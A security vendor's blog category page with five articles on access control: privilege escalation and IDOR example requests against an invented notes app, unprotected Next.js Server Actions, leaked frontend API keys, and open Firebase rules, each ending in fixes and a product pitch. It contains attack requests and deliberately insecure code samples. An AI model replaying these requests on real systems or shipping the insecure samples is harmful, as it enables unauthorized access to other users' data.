Category: Access Control

Broken access control, authorization, IDOR, and the bugs that come from who can do what.

  • Privilege Escalation Examples: Five Ways an Ordinary Account Becomes an Admin

    Privilege Escalation Examples: Five Ways an Ordinary Account Becomes an Admin

    Privilege escalation is what happens when an account ends up able to do something its permission level was never meant to allow. In web applications it is rarely one dramatic exploit. It is usually a small gap in how permission is assigned, cached, or trusted, reached by a request that looks entirely ordinary. These privilege escalation examples come from an invented workspace app, each with the request that causes it and the reason the check failed.

    Horizontal and vertical escalation

    Two directions are worth naming before the examples. Horizontal escalation means acting as a different account at the same level, such as one member reading another member’s records. Vertical escalation means gaining a higher level, such as a member becoming an administrator. They matter separately because a chain often runs horizontally first and then vertically: take over any account, discover that one of those accounts is an admin, and the second step is free.

    Five privilege escalation examples

    Acme Notes is an invented team workspace with members, administrators, and a support tool. Every request below is authenticated and well formed.

    1. Promoting yourself through a profile update

    The profile endpoint saves whatever fields arrive, because it was written to be flexible about which ones the form sends.

    PATCH /api/users/me
    Authorization: Bearer tokenForMember
    { "display_name": "Sam", "role": "admin" }
    
    200 OK
    { "id": 12, "display_name": "Sam", "role": "admin" }

    The endpoint is the caller’s own record, so an ownership check passes. What is missing is a rule about which attributes a caller may write to their own record. Permission fields must be server decided, and a handler that binds a whole request body to a model will not know the difference.

    2. Choosing your role when accepting an invite

    An invitation is emailed with a token, and the acceptance endpoint reads the role from the request rather than from the invitation record.

    POST /api/invites/accept
    { "token": "inv_9f3c...", "role": "owner" }
    
    201 Created
    { "workspace_id": 7, "user_id": 4310, "role": "owner" }

    The invitation said member. The server never compared the two, so the invited person picks their own level. The same pattern shows up wherever a value that was decided earlier is resent by the client later, including plan tiers, seat counts, and approval states.

    Most escalation bugs are not a broken permission check. They are a permission that the server let the client supply in the first place.

    3. Escalating by taking over a higher privileged account

    The email change endpoint updates the address immediately and sends a verification link afterwards, and password reset uses the current address on file.

    PATCH /api/users/88/email
    Authorization: Bearer tokenForMember
    { "email": "attacker@example.com" }
    
    200 OK
    { "id": 88, "email": "attacker@example.com", "verified": false }

    Two failures compound here. The endpoint took an id from the path without checking it belongs to the caller, and the account switched to an unverified address that password reset still trusts. Neither is an escalation on its own. Together they turn any member into whichever account they choose, and account 88 happens to be an administrator.

    4. Permissions that outlive the change

    An administrator is demoted to member. Their existing token still carries the old claims, and the service reads role from the token rather than from the database.

    GET /api/admin/users
    Authorization: Bearer tokenIssuedBeforeDemotion
    
    200 OK
    { "users": [ ... ] }

    The permission model is correct and the enforcement is stale. Any place that caches authorization, such as long lived tokens, a session copy of the role, or a permissions list computed at login, keeps granting access after the decision behind it changed. Offboarding is where this hurts most.

    5. A support tool with no separate guard

    Support staff can view an account as its owner to reproduce issues. The impersonation endpoint checks that the caller is signed in and assumes only staff can reach it, because only staff see the button.

    POST /api/support/impersonate
    Authorization: Bearer tokenForMember
    { "user_id": 88 }
    
    200 OK
    { "session": "eyJ...sessionAsUser88" }

    Internal features are frequently built with lighter checks than customer facing ones, on the assumption that only internal people will call them. Impersonation, feature flag toggles, data export, and replay tools are worth reviewing first, because each one converts a normal account directly into another account.

    How to test for privilege escalation

    • Hold accounts at every level. Two members, one admin, and, if the product has them, one support account. Escalation testing is comparison testing and needs something to compare.
    • Replay privileged traffic downward. Record what the admin account does, then send exactly those requests with a member token. Anything that does not return a denial is a finding.
    • Add permission fields to bodies that do not document them. role, is_admin, plan, scopes, owner_id, and workspace_id are the usual candidates.
    • Change permissions and keep using the old session. Demote an account, then reuse its token. Revoke a seat, then call the API again. This catches the stale authorization class that point in time testing misses.
    • Look for the second step. An account takeover is only medium severity until you check whether any reachable account is privileged. Chains are where the real impact sits.

    None of these are found by matching a payload, because there is no payload. They are found by knowing which accounts exist, what each is meant to be able to do, and then checking whether the server agrees. More on access control bugs is here.

    How to prevent it

    • Allowlist writable fields per endpoint, so permission attributes cannot be set by a request even if they appear in one.
    • Read authority from the record, not the request. The invitation stores the role, so acceptance should use the stored value and ignore anything sent alongside the token.
    • Check authorization at the moment of use. If you must cache it, keep token lifetimes short and give yourself a way to revoke immediately.
    • Verify an email before it becomes the account’s identity, and invalidate active sessions and reset tokens whenever the address or password changes.
    • Guard internal tools like external ones. Impersonation deserves its own permission, an audit record, and ideally a second factor.
    • Deny by default, so a new route is unreachable until someone declares who may call it.

    Privilege escalation tends to be assembled rather than discovered: a writable field here, a stale token there, an id that was never checked, combined into a path from ordinary member to full control. Following that chain requires understanding how an application’s roles are meant to fit together, which is exactly what an autonomous researcher that reasons about application logic is built to do. Read more about how UnboundCompute works.

    Frequently asked questions

    What is an example of privilege escalation in a web application?

    The most common one is a writable permission field. A member sends PATCH /api/users/me with { "display_name": "Sam", "role": "admin" }, the handler binds the whole body to the user model, and the account is now an administrator. The ownership check passed, because the record really does belong to the caller. What was missing is a rule about which attributes a caller may write to their own record.

    What is the difference between horizontal and vertical privilege escalation?

    Horizontal means acting as another account at the same permission level, such as one member reading or editing another member’s records. Vertical means gaining a higher level, such as a member reaching administrator functions. Real incidents usually chain them: an attacker moves horizontally into any account they like, then checks whether one of those accounts is privileged, which makes the vertical step free.

    Can privilege escalation happen even when permissions are configured correctly?

    Yes, and stale authorization is the usual reason. If a service reads the role from a long lived token or from a copy stored in the session, an account that was demoted keeps its old access until that token expires. The permission model is right and the enforcement is out of date. This is why offboarding tests matter: change a permission, then keep using the session that was issued before the change.

    How do I test my application for privilege escalation?

    Hold accounts at every level, then compare. Record the requests an admin account makes and replay them with a member token, and treat anything other than a denial as a finding. Add fields such as role, is_admin, and scopes to bodies that do not document them. Demote an account and reuse its old token. Finally check whether any account you can take over is itself privileged, because that is where a medium severity bug becomes a critical one.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Broken Access Control Examples: Five Requests That Should Have Been Denied

    Broken Access Control Examples: Five Requests That Should Have Been Denied

    Access control is the rule that decides who may do what to which object, and it is the rule applications get wrong most often. The bug is rarely exotic. It is almost always a check that someone assumed was happening somewhere else. This post walks through five broken access control examples in an invented app, shows the exact request and response for each, and explains how to find and fix the same gaps in your own code.

    Five broken access control examples

    All five come from the same invented app, Acme Notes, a small team workspace where people write notes, invite colleagues, and export their data. Every request below is well formed and authenticated. Nothing is malformed and nothing is injected. That is the point: these requests are legal, and the server answers them anyway.

    1. Reading another user’s object by changing an id

    User A is signed in and opens one of their own notes.

    GET /api/notes/4120
    Authorization: Bearer tokenForUserA
    
    200 OK
    { "id": 4120, "owner_id": 12, "title": "Q3 planning", "body": "..." }

    They change one digit and send the same token.

    GET /api/notes/4121
    Authorization: Bearer tokenForUserA
    
    200 OK
    { "id": 4121, "owner_id": 88, "title": "Salary review notes", "body": "..." }

    Note 4121 belongs to owner 88. The token proved who the caller is. Nothing proved the caller owns this note. This is the horizontal case, one user reaching another user’s data at the same permission level.

    2. Calling an admin route directly

    The Acme Notes interface only draws the admin panel for accounts with the admin role, so a normal member never sees a link to it. The endpoint behind it is still live.

    GET /api/admin/users?limit=500
    Authorization: Bearer tokenForUserA
    
    200 OK
    { "users": [ { "id": 12, "email": "a@example.com", "role": "member" }, ... ] }

    This is the vertical case. The route checks that you are logged in and forgets to check what you are. Hiding the button removed the path a normal user would take to the endpoint, not the endpoint. Anyone who has watched the network tab of an admin account, or guessed the route, can call it.

    3. Sending your own role in the request body

    Acme Notes lets a workspace owner invite colleagues, and the invite endpoint accepts a role. The signup endpoint accepts the same object shape, because both write to the users table through one shared handler.

    POST /api/signup
    Content-Type: application/json
    
    { "email": "new@example.com", "password": "...", "role": "admin" }
    
    201 Created
    { "id": 4310, "email": "new@example.com", "role": "admin" }

    The server took a field from the client that only the server should ever set. No id was tampered with and no route was hidden. The app simply trusted an attribute that decides permission, which turns the account creation form into a promotion.

    Every one of these requests is valid. The bug is not in what was sent, it is in the check the server did not run before answering.

    4. A secondary path with no check on it

    The direct fetch in example 1 gets fixed, and the team adds an ownership check to GET /api/notes/:id. The export job still runs the old query.

    POST /api/exports
    Authorization: Bearer tokenForUserA
    { "workspace_id": 7 }
    
    200 OK
    { "job_id": "exp_91", "status": "queued" }
    
    GET /api/exports/exp_91/download
    Authorization: Bearer tokenForUserA
    
    200 OK
    notes.csv containing every note in workspace 7, including notes owned by other members

    The background worker runs with service credentials so it can read across the whole workspace, and the request that started it was never checked against what user A is allowed to export. Search endpoints, list endpoints, report builders, and file downloads all fail this way. The check on the obvious route does not travel to the quiet ones.

    5. Enforcement that lives in the browser

    A member’s plan allows five notes. The interface disables the create button after the fifth, and the server never counts.

    POST /api/notes
    Authorization: Bearer tokenForUserA
    { "title": "Note 41", "body": "..." }
    
    201 Created

    Any rule enforced only by the interface is a suggestion. The same applies to fields the form marks as read only, to prices the client sends, and to steps a wizard performs in order. If the browser is the only thing enforcing it, a request sent outside the browser ignores it.

    How to find these in your own app

    Every example above is found the same way, by holding two accounts and asking whether one can reach the other’s things.

    • Create two users and one admin. Note the object ids each one owns. Most of this testing is impossible with a single account.
    • Swap ids across accounts. With A’s token, request B’s objects. A correct server answers 403 Forbidden or 404 Not Found. A 200 OK carrying B’s data is the finding.
    • Replay privileged routes with a normal token. Capture what an admin account calls, then send the same requests as a member.
    • Add fields the client should not control. Try role, is_admin, plan, owner_id, and workspace_id in bodies that do not document them.
    • Follow the object into every other path. Search, list, export, download, webhook, and email notification. Each is a separate chance to leak the same record.
    • Repeat per verb. Read access and write access fail independently, so test GET, then PATCH, PUT, and DELETE.

    None of this is pattern matching. There is no payload to detect, because the request is exactly what a normal client sends. Finding these bugs means understanding what each object is and who is meant to own it, then testing that assumption directly. More on access control bugs is here.

    How to fix them

    The common cure is to make the ownership question part of the query rather than a separate step someone can forget.

    def get_note(note_id, current_user):
        note = db.notes.find_one(
            id=note_id,
            owner_id=current_user.id,   # ownership is part of the lookup
        )
        if note is None:
            return Response(status=404)
        return Response(note)
    • Scope every query to the caller by default in the data layer, so an unscoped lookup has to be written on purpose.
    • Deny by default on routes. A new endpoint should be unreachable until someone states who may call it, rather than open until someone remembers to close it.
    • Allowlist writable fields so a client can never set an attribute that grants permission.
    • Give background jobs the caller’s permissions instead of service credentials, or check the request before the job is queued.
    • Write one test per object route where user A asks for user B’s object and asserts a denial. That is what stops the bug returning after a refactor.

    Broken access control is a logic bug, not a string in a payload, which is why it survives tools that look for known bad input and why it keeps topping the lists of what actually gets exploited. Finding it means knowing what an object is, who should own it, and proving the server agrees, which is exactly the kind of assumption an autonomous researcher that tests application logic is built to check. Read more about how UnboundCompute works.

    Frequently asked questions

    What is an example of broken access control?

    The clearest example is changing an id in a request. A signed in user calls GET /api/notes/4120 for their own note, changes it to GET /api/notes/4121 with the same token, and the server returns a note owned by someone else. The token proved who the caller is, and nothing proved the caller owns that object. Other common examples are calling an admin route with a normal account, sending a role field the server should set itself, and an export job that reads across a whole workspace.

    What is the difference between horizontal and vertical access control bugs?

    Horizontal means reaching another user’s data at the same permission level, such as one member reading another member’s note. Vertical means gaining a higher permission level, such as a member calling an admin only endpoint or setting their own role to admin during signup. They are found differently: horizontal needs two accounts of the same type, vertical needs a low privilege account replaying what a privileged account does.

    Why do scanners miss broken access control?

    Because there is no payload to match. The request is exactly what a normal client sends, every field has the right type, and the session is valid. A scanner comparing traffic against a list of known bad strings sees nothing wrong, because nothing is wrong with the string. Deciding that a response is a bug requires knowing who is meant to own the object, which lives in the intent of the application rather than in its code.

    How do I test my app for broken access control?

    Create two normal users and one admin, then note which objects belong to each. While signed in as user A, request user B’s objects and confirm the answer is 403 Forbidden or 404 Not Found. Replay every request an admin makes using a member token. Add fields such as role, is_admin, and owner_id to bodies that do not document them. Then repeat the whole exercise on search, list, export, and download paths, which are checked far less often than the direct fetch.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Next.js Server Actions Security: Every Action Is a Public Endpoint

    Next.js Server Actions Security: Every Action Is a Public Endpoint

    A Server Action feels like a function you call, so it is easy to treat it like private internal code. It is not. Next.js Server Actions security starts with one fact that changes how you write every one of them: an action marked "use server" compiles down to a public HTTP endpoint. The framework wires up a POST route for it and ships an identifier to the browser so the client can invoke it. Anyone who can reach your site can reach that route directly, with a request they wrote by hand, without ever loading your interface.

    Why Next.js Server Actions security is really API security

    When you write an async function in the App Router, mark it "use server", and import it into a client component, Next.js does not send that function to the browser. It keeps the code on the server and replaces the import with a reference: an action id plus a fetch that posts to your app. Clicking the button in your UI sends that POST. So does curl. So does a script that read the action id out of your bundle. The endpoint does not check where the call came from, and it cannot, because a request is just a request.

    This means every Server Action is an API route wearing the clothes of a function. It needs the same three things every API route needs, on every call: proof of who is asking, a check that this caller is allowed to do this thing, and validation of the arguments before they touch your database. Skip any of them and the action is open to whoever finds it.

    A Server Action is not protected by the component that imports it. It is a public POST endpoint, and the only guard that counts is the code inside the function.

    The five ways quickly built apps get this wrong

    These are the shapes that keep turning up in AI generated Next.js code and in apps assembled fast. Each one comes from trusting the interface instead of the server.

    1. Assuming an admin only import is an admin only action

    The action lives in an admin dashboard. It is imported by a component that only renders for staff. The reasoning goes: users never see this, so users cannot call it. But the import graph is a client side detail. The endpoint is live for every visitor the moment the app boots. Reachability has nothing to do with which component references the function.

    2. No session check inside the action

    The action reads and writes data but never asks who is calling. The page around it was behind a login, so the action inherited a feeling of safety it never actually had. A direct POST arrives with no session and the action runs anyway. This is a Server Action with no authentication, the same class of bug as broken function level authorization: a privileged operation that forgot to check the caller’s privileges.

    3. No ownership check, so an id mutates someone else’s data

    The action takes an id argument and updates that record. It checks that you are logged in, then trusts the id you sent. Pass another user’s record id and you edit their data. That is an insecure direct object reference reached through a Server Action. Being signed in is not the same as being allowed to touch this specific row.

    4. Trusting arguments without validation

    Server Action arguments arrive as a serialized payload from the client. A hand crafted request can send a number where you expected a small positive integer, a string where you expected an enum, an object with extra fields, or a role of admin you never meant to accept. If the action passes those straight into a query or an update, the shape of your data is now decided by the attacker.

    5. A privileged mutation guarded only by a hidden button

    The dangerous action, delete an account, refund an order, grant a role, is protected by the fact that its button only appears for the right person. Hiding the button hides it from honest users looking at the screen. It does nothing to the endpoint. The guard has to live in the function, not in whether the UI chose to render a control.

    An insecure Server Action, then a fixed one

    Take an invented app, Acme Boards, where users own boards and can rename them. Here is the version that looks fine in a demo and is open in production.

    // app/actions/rename-board.ts
    "use server";
    
    import { db } from "@/lib/db";
    
    // Insecure: no auth, no ownership, no validation.
    export async function renameBoard(boardId: string, name: string) {
      await db.board.update({
        where: { id: boardId },
        data: { name },
      });
    }

    Nothing here asks who is calling, whether they own the board, or whether name is sane. A single POST with any boardId renames any board in the system. Now the version that treats the action as the public endpoint it is.

    // app/actions/rename-board.ts
    "use server";
    
    import { z } from "zod";
    import { db } from "@/lib/db";
    import { getSession } from "@/lib/auth";
    
    const RenameInput = z.object({
      boardId: z.string().uuid(),
      name: z.string().trim().min(1).max(80),
    });
    
    export async function renameBoard(raw: unknown) {
      // 1. Authenticate: who is calling?
      const session = await getSession();
      if (!session) {
        throw new Error("Not authenticated");
      }
    
      // 2. Validate: are the arguments the shape we expect?
      const { boardId, name } = RenameInput.parse(raw);
    
      // 3. Authorize ownership: does this caller own this board?
      const board = await db.board.findUnique({
        where: { id: boardId },
        select: { ownerId: true },
      });
      if (!board || board.ownerId !== session.userId) {
        throw new Error("Not allowed");
      }
    
      // 4. Only now perform the mutation.
      await db.board.update({
        where: { id: boardId },
        data: { name },
      });
    }

    The order is the point. Get the session first. Validate the input against a schema so unexpected shapes are rejected before they matter. Look up the record and confirm the caller owns it, comparing against an identity the server verified, not an id the request supplied. Then, and only then, write. Do this in every action, because each one is its own front door.

    How to test it from outside

    You do not need your own UI to call a Server Action, which is exactly why you should try calling it without one. Only ever do this against an app you own or have written permission to test. Open the network tab, trigger the action once through the interface, and read the request it sends. You will see a POST to your own route carrying the action id in a header and your arguments in the body. Copy that request. Then change it.

    • Send it with no session. Drop the auth cookie and replay. If the mutation still happens, there is no authentication check inside the action.
    • Send another user’s id. Sign in as one test account, take a valid request, and swap the target id for a record owned by a second account you created. If it succeeds, the ownership check is missing.
    • Send junk arguments. Post a negative number, a giant string, an extra field, or a wrong type. If the action does not reject it, there is no validation.

    Every failure here maps to one of the five shapes above, and every one is fixed in the same place: the server, on every call. This is the same lesson that runs through the rest of our guide to vibe coded app security, and it sits squarely in access control.

    These are not bugs a signature scanner catches, because the request is well formed and the response is a clean success. Finding them means understanding what an action is meant to allow and then checking whether the endpoint agrees. In our own early testing, a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. That is the kind of assumption UnboundCompute is built to test, and you can read more on our about page.

    Frequently asked questions

    Are Next.js Server Actions private server code?

    No. A function marked "use server" compiles to a public HTTP endpoint. Next.js ships an action id to the browser and wires up a POST route, so anyone who can reach your site can invoke the action directly with a crafted request, not just your interface.

    Does importing an action only in an admin component protect it?

    No. The import graph is a client side detail and has nothing to do with reachability. The endpoint is live for every visitor once the app boots. The only guard that counts is the code inside the action, so every action needs its own checks.

    What checks should a Server Action run on every call?

    Three, in order. First authenticate the caller and confirm there is a valid session. Second validate the arguments against a schema, for example with zod, so unexpected shapes are rejected. Third confirm the caller is allowed to touch the specific record before you mutate anything.

    How does an IDOR happen through a Server Action?

    The action checks that you are logged in but then trusts an id you sent and updates that record. Pass another user’s id and you edit their data. The fix is an ownership check: look up the record and compare its owner against the verified session identity, not the id in the request.

    How do I test a Server Action from outside my UI?

    On an app you own, open the network tab, trigger the action once through the interface, and read the POST it sends. Copy that request, then replay it with no session, with another test account’s id, and with junk arguments. Any mutation that still succeeds points to a missing auth, ownership, or validation check.

    Why do scanners miss broken Server Action authorization?

    Because the request is well formed and the response is a clean success. Whether the caller is allowed to rename this board or delete that account is a fact about your application, not a known bad pattern. It takes a tester that learns the app’s rules and checks whether the endpoint enforces them.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Hardcoded API Keys in Frontend Code: Which Keys Leak and How to Fix It

    Hardcoded API Keys in Frontend Code: Which Keys Leak and How to Fix It

    Leaving hardcoded API keys in frontend code is one of the easiest mistakes to make and one of the most expensive to ignore. If an AI code generator or a five minute tutorial pasted a key into your React, Vue, or Next.js app, there is a good chance it now ships inside the JavaScript your users download. The screen never shows it, but the bundle does, and anyone can read a bundle. This post explains which keys are safe to expose, which ones are not, how to find the ones that already leaked, and how to move them somewhere a stranger cannot reach.

    Public key or secret key: the confusion behind hardcoded API keys in frontend code

    Not every key is a secret. Some are designed to sit in the browser, and treating those as dangerous only wastes your time. The problem is that they look almost identical to the keys that must never leave a server, so the two get mixed up.

    Keys that are meant to be public and are fine in client code:

    • A Firebase web config object.
    • A Supabase anon key. It is public by design, and its safety comes from row level rules, which we cover in Supabase RLS misconfiguration.
    • A Stripe publishable key (the one that starts with pk_).
    • A Google Maps browser key that you restrict by HTTP referrer.

    Keys that are secret and must live only on a server:

    • A Stripe secret key (sk_live_...), which can move real money.
    • An OpenAI or other model provider key, which spends your money on every request.
    • A database service key, such as a Supabase service_role key, which skips every access rule.
    • A SendGrid or Twilio key, which sends email and SMS billed to you.
    • A webhook signing secret, which lets an attacker forge trusted events.

    Why “it is in an environment variable” does not mean secret

    The most common false comfort is that a key is in an environment variable, so it must be hidden. That is true for a real server process. It is false the moment a build tool inlines the value into the client bundle, and modern frameworks do exactly that on purpose for anything with the right prefix.

    In Next.js, any variable named NEXT_PUBLIC_* is written straight into the JavaScript sent to the browser. Vite does the same for VITE_*, and Create React App does it for REACT_APP_*. The prefix is a promise that the value is public. So this, which an AI assistant might generate when you ask it to call a model from the client, ships your key to every visitor:

    // .env.local
    NEXT_PUBLIC_OPENAI_KEY=sk-acme-live-9f3b2c7a1d
    
    // app/summarize/page.tsx  (runs in the browser)
    const res = await fetch("https://api.openai.com/v1/chat/completions", {
      method: "POST",
      headers: {
        "Authorization": `Bearer ${process.env.NEXT_PUBLIC_OPENAI_KEY}`,
      },
      body: JSON.stringify({ model: "gpt-4o", messages }),
    });

    After you build, that key is a plain string in a file the browser downloads. The NEXT_PUBLIC_ prefix did not protect it. It advertised it.

    If your JavaScript can read a key, so can everyone who loads your site. An environment variable is not a hiding place when the framework bakes it into the bundle.

    How to find keys that already leaked

    You do not need special tools to check. Four passes cover most of it, and all of them are read only on your own app.

    • View source and search the bundle. Load your site, save the JavaScript files, and search them for sk_, service_role, secret, api_key, and your provider names. Anything that looks like a credential is one.
    • Watch the network tab. Open the feature that calls an external service and read the request headers. If an Authorization: Bearer value is sitting there in a call made from the browser, it is public.
    • Grep your git history. A key that was committed once and deleted later is still in history. Search old commits, not just the current tree, because a cloned repo carries every version.
    • Check your deployed environment list. Any secret sitting under a NEXT_PUBLIC_, VITE_, or REACT_APP_ name is shipped, full stop.

    What an attacker does with each leaked key

    The cost depends on the key, but none of the outcomes are minor.

    • A model provider key lets anyone run requests on your account until the quota or your card is drained. That is a straight path to denial of wallet, where the bill climbs while nothing looks broken.
    • A SendGrid or Twilio key lets an attacker send email and SMS as you, which burns your sending reputation and your balance at the same time.
    • A database service key reads and writes every row, skipping the access rules that protect your users. This is an access control failure, the category we track under access control.
    • A Stripe secret key can create charges, refunds, and payouts against your account.

    The fix: move the secret to a server

    The rule is simple. A secret key belongs in a place your users cannot read, which means a server route or a serverless function. The browser calls your endpoint, your endpoint holds the key and calls the provider. Rewritten, the earlier example looks like this:

    // .env.local  (server only, no NEXT_PUBLIC prefix)
    OPENAI_KEY=sk-acme-live-9f3b2c7a1d
    
    // app/api/summarize/route.ts  (runs on the server)
    export async function POST(req: Request) {
      const { messages } = await req.json();
      const res = await fetch("https://api.openai.com/v1/chat/completions", {
        method: "POST",
        headers: { "Authorization": `Bearer ${process.env.OPENAI_KEY}` },
        body: JSON.stringify({ model: "gpt-4o", messages }),
      });
      return Response.json(await res.json());
    }

    Drop the NEXT_PUBLIC_ prefix so the value stays server side, and the browser only ever talks to your own route. Beyond that, a short checklist keeps the problem from coming back:

    • Use publishable and restricted keys on the client. Stripe pk_, a Google Maps key locked to your referrer, a Supabase anon key backed by row rules.
    • Restrict every client key by scope. Referrer, allowed origins, and the narrowest permission set the provider offers.
    • Rotate any key that ever shipped. If it reached a browser once, treat it as burned and issue a new one. Hiding it later does nothing, since old bundles still exist.
    • Add a secret scanner in CI. A pre commit hook or a pipeline step that greps for key patterns catches the next paste before it merges.

    This mistake is a good example of a bug that hides in plain sight: the app works perfectly, so nothing prompts a second look. It fits into the wider picture of vibe coded app security, where the generated code runs but the safety step is still yours. In our own early testing, a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before, which is the kind of quiet, working flaw an autonomous researcher that tests assumptions is built to catch. More on how we approach that is on our about page.

    Frequently asked questions

    Are hardcoded API keys in frontend code always a security problem?

    No. Some keys are designed to be public, such as a Stripe publishable key, a Firebase web config, a Supabase anon key, or a referrer restricted Google Maps key. The problem is secret keys, like a Stripe sk_live key, a model provider key, a database service_role key, or a Twilio key, which must live only on a server.

    Does putting a key in an environment variable keep it secret?

    Only if that variable stays on a server. Frameworks inline any variable with a public prefix into the client bundle at build time, so a NEXT_PUBLIC_, VITE_, or REACT_APP_ value ends up as plain text in the JavaScript the browser downloads. The prefix marks a value as public, it does not hide it.

    How do I find a leaked key in my own app?

    Load your site, save the JavaScript files, and search them for strings like sk_, service_role, secret, and api_key. Then watch the network tab for an Authorization header on calls made from the browser, and grep your git history, since a key committed once stays in old commits even after you delete it.

    What can an attacker do with a leaked model provider key?

    They can run requests on your account until the quota or your card is drained, which is a form of denial of wallet where the bill climbs while nothing looks broken. Other leaked keys let an attacker send email and SMS on your account, read and write your whole database, or create charges through your payment provider.

    How do I move a secret key off the frontend?

    Put the secret in a server route or serverless function that holds the key and calls the provider, then have the browser call your own endpoint instead. Drop any public prefix from the variable name so the framework keeps the value server side, and the key never reaches the client bundle.

    Do I still need to rotate a key after I move it server side?

    Yes. If a key ever shipped to a browser, treat it as compromised and issue a new one, because old bundles and cached files still carry the original value. Rotate the key, restrict client keys by scope and referrer, and add a secret scanner in CI so the next accidental paste is caught before it merges.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: Secret Scanner lets you paste a file or diff and see what credentials it exposes. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.

  • Firebase Security Rules Misconfiguration: When Any Client Reads Everyone’s Data

    Firebase Security Rules Misconfiguration: When Any Client Reads Everyone’s Data

    A Firebase security rules misconfiguration is a Firestore collection, a Realtime Database path, or a Storage bucket that any visitor can read or write, because the Security Rules protecting it were left open or written to check the wrong thing. Firebase client SDKs talk to the database straight from the browser, and the Firebase config that authorises those calls ships in your page source where anyone can copy it. Security Rules are the only access control standing between a stranger and every record you hold.

    What do Firebase Security Rules actually do?

    Security Rules run on Google’s servers, in front of the database, below your application code. When a request arrives, Firebase finds the rule that matches the path being touched and evaluates it. If no rule allows the operation, it is denied. So the safe starting state is a database that answers nothing, and you grant access back one rule at a time.

    Take an invented app, Acme Journal. Each user writes private entries, and every document carries an ownerId field. A correct rule reads an entry only if the signed in caller owns it.

    rules_version = '2';
    service cloud.firestore {
      match /databases/{database}/documents {
        match /entries/{entryId} {
          allow read, write: if request.auth != null
            && request.auth.uid == resource.data.ownerId;
        }
      }
    }

    The load bearing part is request.auth.uid. Firebase verifies the caller’s ID token and hands the rule the verified user id, and the rule compares it against the ownerId already stored on the document. A caller with no session has no request.auth, so the check fails and the read returns nothing. Access control is now a property of the data, not of the screen that renders it.

    Why is the Firebase config not a secret?

    The Firebase config block, the one with apiKey and projectId, is meant to be public. It is not a credential. It only names your project so the client SDK knows which backend to call, and Google’s own docs say it is fine to ship in client code. Anyone can read it out of your bundle and send requests with it. That is expected, as long as every collection, path, and bucket it reaches has rules deciding what an anonymous or other caller may see. The config identifies the project. It does not authorise anything on its own.

    The Firebase config is not a vulnerability. A collection that answers that config with everyone’s documents is.

    What are the failure shapes of a Firebase security rules misconfiguration?

    Nearly every real case is one of four shapes, and all of them end in the same place: a caller reads or writes documents that are not theirs.

    • Test mode left on. New projects offer a starter ruleset that allows all reads and writes, sometimes until a fixed date. It is meant for a demo afternoon and then forgotten, so the database sits open on the internet.
    • Signed in mistaken for authorized. A rule checks request.auth != null and stops there. Every logged in user of the app now reads every other user’s documents, because the rule confirms identity but never checks ownership.
    • A new collection with no rule of its own. A feature ships a payments or invites collection, and nobody added a matching block. Depending on how the rules are written, the collection falls through to a broad parent match and inherits access it should never have.
    • Storage world readable. The Storage rules were opened for a file upload feature and never tightened, so uploaded receipts and profile images are fetchable by anyone with the URL pattern.

    The first shape is the one people ship without meaning to. It looks like this, and it is one deploy away from production:

    rules_version = '2';
    service cloud.firestore {
      match /databases/{database}/documents {
        // test mode: open to the world, sometimes until a date
        match /{document=**} {
          allow read, write: if true;
          // or the timed variant a quick start hands you:
          // allow read, write: if request.time
          //   < timestamp.date(2025, 1, 1);
        }
      }
    }

    This is common rather than rare. AI app builders and quick start templates routinely generate permissive rules to get a demo working fast, and public scans of quickly built apps have repeatedly found permissive database rules left in place. We cite that as a pattern, not a headcount. The point is the shape of the mistake: fast assembly puts a database on the internet, and locking the rules is the step that gets deferred. The same pressure produces the sibling problem in a Supabase RLS misconfiguration, where a public key reaches tables that Row Level Security never fenced off.

    Why is auth != null not authorization?

    Because it answers a different question. request.auth != null means the caller signed in to your Firebase project. It says nothing about which documents belong to them. If Acme Journal has ten thousand users and its entries rule stops at that check, any one account can list the whole entries collection and read everyone else’s private writing. Authentication is who you are. Authorization is what you are allowed to touch, and the rule has to compare the verified request.auth.uid against the owner field on the specific document.

    How do you verify it from outside instead of trusting the console?

    Ask the database the way a stranger would, using the public config and the documented REST endpoint, with no SDK in the way. Firestore exposes a plain REST API for every project.

    curl "https://firestore.googleapis.com/v1/projects/ACME_PROJECT/databases/(default)/documents/entries"

    A permission denied error means the rules held. Documents coming back mean a stranger reads that collection. Then repeat from three more seats, each catching a different failure:

    • Signed in as a real user, asking for another user’s documents. Get an ID token for a throwaway account and read a document whose ownerId is someone else. It should be denied.
    • Write, not just read. Attempt a create and an update. Read and write are separate clauses, so testing reads alone leaves half the rule untested.
    • Storage and every new collection. Check bucket objects by their URL pattern, and enumerate collections rather than testing only the ones you remember. The risky one is usually the collection added last.

    How do you fix it?

    • Deny by default. Start from rules that allow nothing and grant access one match block at a time. Never rely on a broad match /{document=**} with an allow in it.
    • Check ownership, not just presence. Compare request.auth.uid against a stored owner field the user cannot set, on writes as well as reads. Treat allow read, write: if true and if request.auth != null alone as findings.
    • Give every collection its own rule. When a feature adds a collection, add its match block in the same change, so nothing falls through to a permissive parent.
    • Lock Storage the same way. Scope object reads and writes to the owner, and never leave a bucket world readable after a file feature ships.
    • Test in the simulator and in CI. Run the rules simulator for the unauthenticated and other tenant cases, then encode the same assertions with the emulator so a future deploy cannot quietly reopen a path.

    Why do scanners miss this?

